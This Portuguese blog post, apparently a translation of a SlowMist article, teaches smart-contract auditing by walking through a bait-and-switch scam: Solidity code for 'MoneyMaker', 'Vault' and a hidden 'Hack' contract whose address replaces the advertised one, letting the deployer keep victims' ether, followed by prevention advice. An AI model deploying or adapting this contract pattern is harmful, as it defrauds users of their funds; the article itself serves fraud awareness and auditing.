WEB3DEV

Cover image for Introdução à Auditoria de Segurança de Contrato Inteligente: Identificação de Código Malicioso Oculto
Fatima Lima
Fatima Lima

Posted on

Introdução à Auditoria de Segurança de Contrato Inteligente: Identificação de Código Malicioso Oculto

Image description

Contexto

Neste artigo, vamos orientá-lo sobre como identificar códigos maliciosos escondidos em contratos.

Conhecimento prévio

Lembra-se de quando falamos sobre a implantação de contratos de ataque, em edições anteriores? Mencionamos que o endereço do contrato alvo é passado e que as funções do contrato alvo podem ser chamadas de dentro do contrato de ataque. Alguns invasores usam isso para enganar suas vítimas. Por exemplo, eles podem implantar o contrato A e dizer a sua vítima que o endereço do contrato B será passado durante a implantação do contrato A e que o contrato B é de código aberto. Entretanto, na realidade, o endereço do contrato C é passado durante a implantação do contrato A. Se a vítima confia que não verificaram a transação que implantou o contrato A, o invasor escondeu com sucesso seu código malicioso no contrato C. Este conceito é ilustrado na figura a seguir:

Image description

A maneira como o usuário pensa que o caminho da chamada funciona:

Eles implantam o contrato A e passam o endereço do contrato B, de modo que o caminho da chamada é o esperado.

Mas na realidade, o caminho da chamada real é:

Eles implantam o contrato A e passam o endereço do contrato C. Portanto, o caminho da chamada é inesperado.

Para entender melhor este scam (esquema ilegal), vamos dar uma olhada em um exemplo simples:

Código Malicioso

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;
contract MoneyMaker {    Vault vault;
   constructor(address _vault) {        vault = Vault(payable(_vault));    }
   function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");
       uint256 amount = msg.value * 2;
       (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");
       vault.transfer(recipient, amount);    }}
contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;
   constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }
   modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }
   modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }
   function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }
   function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");
       (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }
   function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }
   receive() external payable {}
   fallback() external payable {}}
//Este código está escondido em um arquivo filecontract Hack separado {    event taunt(string message);    address private evil;
   constructor(address _evil) {        evil = _evil;    }
   modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }
   function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }
   function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }
   receive() external payable {}
   fallback() external payable {}}
Enter fullscreen mode Exit fullscreen mode

Análise da Fraude

Como podemos ver no código acima, há três contratos envolvidos. Para entender melhor os papéis de cada contrato, podemos usar nossos conhecimentos pré-existentes para distingui-los da seguinte forma:

O contrato denominado "MoneyMaker" representa o contrato A.

O contrato denominado "Vault" representa o contrato B.

O contrato denominado "Hack" representa o contrato C.

Portanto, o caminho de chamada que o usuário espera é:

MoneyMaker -> Vault

Entretanto, o caminho de chamada real é:

MoneyMaker -> Hack

Isto significa que o usuário está sendo levado a acreditar que está interagindo com o contrato B, quando na realidade, está interagindo com o contrato C, que é o que contém o código malicioso.

Vamos dar uma olhada em como o invasor executa o scam:

  1. O invasor implanta o contrato Vault(B) e reserva um fundo de 100 ETH nele e depois abre o contrato Vault(B) na Blockchain.
  2. O invasor implanta o contrato malicioso Hack(C).
  3. O invasor divulga a notícia de que eles estarão implantando um contrato de código-fonte aberto chamado MoneyMaker(A). Durante a implantação, o endereço do contrato Vault(B) será passado e a função Vault.setMacker() será chamada para definir o papel do criador para o endereço do contrato MoneyMaker. Qualquer pessoa que chamar a função MoneyMaker.makeMoney() e colocar no mínimo 1 ETH no contrato receberá o dobro da devolução do ether.
  4. Bob ouve as notícias e fica sabendo da existência do contrato MoneyMaker. Ele lê os códigos dos contratos MoneyMaker(A) e Vault(B) e verifica o saldo no contrato Vault(B). Ele descobre que a lógica é exatamente como o invasor disse. Ele não suspeita do invasor e não verifica a transação de implantação da MoneyMaker(A)
  5. Bob chama a função MoneyMaker.makeMoney() e coloca seu patrimônio líquido total de 20 ETH no contrato. Enquanto espera receber 40 ETH do contrato Vault(B), ele recebe a mensagem "Haha, seu ether é meu!", pois o invasor conseguiu enganá-lo ao implantar o contrato malicioso Hack(C) e passar seu endereço ao invés do endereço do contrato Vault(B) durante a implantação do contrato MoneyMaker(A).

Este scam é simples, mas comum. O atacante implanta o contrato MoneyMaker e em vez de passar o endereço do contrato Vault, eles passam o endereço do contrato Hack. Assim, quando Bob chama a função MoneyMaker.makeMoney(), ele não chama a função Vault.transfer() como ele esperava, que devolveria o dobro do ether, mas chama a função Hack.transfer() que aciona um evento "Haha, seu ether é meu! Finalmente, o Evil (o Mal) chama a função Vault.withrow() para transferir os 100 ETH no contrato Vault e transfere os 20 ETH transferidos pelo Bob através da função Hack.withrow().

Desta forma, o invasor é capaz de roubar o ether de Bob, induzindo-o a pensar que ele está interagindo com um contrato legítimo, enquanto na realidade ele está interagindo com um contrato malicioso. Este scam é bem sucedido porque o invasor escondeu o contrato malicioso por trás de uma fachada de legitimidade e confiança e Bob não verifica o endereço real do contrato com o qual ele está interagindo.

Conselhos de prevenção

Na floresta escura da Ethereum, a única coisa em que você pode confiar é em si mesmo. Não confie cegamente em nenhum contrato. Os registros de transações na blockchain não podem ser alterados, então somente verificando a transação correspondente, você mesmo pode confiar que o que a outra parte está dizendo é verdade. Sempre faça sua própria pesquisa e a devida diligência antes de fazer quaisquer transações ou interações na rede Ethereum.

Este artigo foi escrito por SlowMist e traduzido por Fátima Lima. O original pode ser lido aqui.

Top comments (0)